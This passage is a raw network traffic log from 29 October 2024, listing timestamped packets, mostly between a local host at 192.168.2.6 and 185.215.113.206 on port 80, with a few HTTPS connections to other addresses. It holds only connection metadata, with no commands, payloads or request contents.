Oct 29, 2024 17:59:48.912858963 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.912893057 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.912893057 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.912895918 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.912914991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.912930012 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.912939072 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.912960052 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.912966967 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.913228035 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.913240910 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.913276911 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.913302898 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.913391113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.913436890 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.913441896 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.913453102 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.913476944 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.913489103 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.913605928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.913671970 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.913687944 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.913700104 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.913708925 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.913722992 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.913728952 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.913738966 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.913755894 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.913769960 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.913769960 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.913781881 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.913800955 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.913846016 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.913888931 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.914366961 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.914412975 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.914413929 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.914428949 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.914453030 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.914463043 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.958048105 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.958077908 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.958085060 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.958126068 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.958142042 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.958143950 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.958165884 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.958173037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.958184004 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.958199978 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.958203077 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.958218098 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.958219051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.958240032 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.958241940 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.958254099 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.958266020 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.958282948 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.958312988 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.985116959 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.985176086 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.985316992 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.985333920 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.985367060 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.985394955 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.991357088 CET	443	50014	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:48.994591951 CET	50014	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:48.994667053 CET	443	50014	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:48.994719028 CET	50014	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:49.030173063 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030235052 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030277014 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030303955 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.030329943 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.030333996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030388117 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030421972 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030433893 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.030456066 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030467033 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.030492067 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030525923 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030536890 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.030580044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030611992 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.030612946 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030630112 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030637980 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.030653000 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.030673981 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.030683041 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030719995 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.030761957 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030777931 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030791998 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.030801058 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.030821085 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.030831099 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.031071901 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.031111956 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.031115055 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.031135082 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.031153917 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.031163931 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.031172991 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.031181097 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.031196117 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.031213045 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.031219006 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.031225920 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.031249046 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.031269073 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.075700998 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.075799942 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.075840950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.075894117 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.075910091 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.075925112 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.075926065 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.075941086 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.075954914 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.075958014 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.075973034 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.075994968 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.076001883 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.076016903 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.076033115 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.076033115 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.076050043 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.076066017 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.076405048 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.076448917 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.076567888 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.076608896 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.102494001 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.102510929 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.102529049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.102543116 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.102562904 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.102572918 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.147450924 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.147542000 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.147547007 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.147572041 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.147588015 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.147602081 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.147614002 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.147629023 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.147633076 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.147644043 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.147645950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.147666931 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.147675037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.147686958 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.147705078 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.147903919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.147953987 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.147959948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.147977114 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.147999048 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.148006916 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.148015022 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.148029089 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.148029089 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.148045063 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.148077965 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.148097038 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.148103952 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.148118973 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.148134947 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.148142099 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.148153067 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.148155928 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.148175001 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.148195028 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.148881912 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.148931026 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.148942947 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.148955107 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.148964882 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.148971081 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.148987055 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.148991108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.149003983 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.149009943 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.149022102 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.149028063 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.149040937 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.149060965 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.192775965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.192953110 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.192975044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.192977905 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.192991018 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.192995071 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.193006992 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.193025112 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.193031073 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.193048954 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.193064928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.193078995 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.193095922 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.193103075 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.193351030 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.193366051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.193382025 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.193425894 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.220179081 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.220208883 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.220226049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.220257044 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.220290899 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.262706995 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.264719009 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.264774084 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.264789104 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.264796972 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.264818907 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.264851093 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.264875889 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.264899015 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.264914989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.264930010 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.264940023 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.264945984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.264967918 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.264980078 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.264983892 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.264997005 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.264998913 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.265031099 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.265064001 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.265557051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.265572071 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.265587091 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.265604973 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.265614033 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.265636921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.265638113 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.265655041 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.265671968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.265680075 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.265691042 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.265705109 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.265708923 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.265717983 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.265726089 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.265729904 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.265743017 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.265748024 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.265773058 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.265791893 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.266407013 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.266454935 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.266458988 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.266477108 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.266518116 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.266690016 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.266716003 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.266731977 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.266755104 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.266761065 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.266779900 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.266805887 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.279776096 CET	443	50040	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.279814959 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.284053087 CET	443	50038	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.285449982 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.287616968 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.287643909 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.288691044 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.288697004 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.289007902 CET	50038	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.289028883 CET	443	50038	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.290041924 CET	50038	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.290046930 CET	443	50038	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.291982889 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.291990042 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.292357922 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.292361975 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.295149088 CET	50040	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.295171022 CET	443	50040	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.295217991 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.295226097 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.295641899 CET	50040	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.295649052 CET	443	50040	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.295727015 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:49.295737028 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:49.310031891 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.310060978 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.310075998 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.310082912 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.310101986 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.310122013 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.310467005 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.310585976 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.310600996 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.310600996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.310619116 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.310627937 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.310635090 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.310635090 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.310652018 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.310656071 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.310667992 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.310674906 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.310683966 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.310684919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.310708046 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.310720921 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.337469101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.337495089 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.337508917 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.337523937 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.337533951 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.337551117 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.337589979 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.382031918 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382055044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382072926 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382095098 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.382122993 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.382316113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382360935 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.382364988 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382381916 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382407904 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382421970 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.382431984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382448912 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382450104 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.382472992 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382473946 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.382488966 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382488966 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.382507086 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382509947 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.382523060 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.382523060 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.382544041 CET	49958	80	192.168.2.6	185.215.113.206
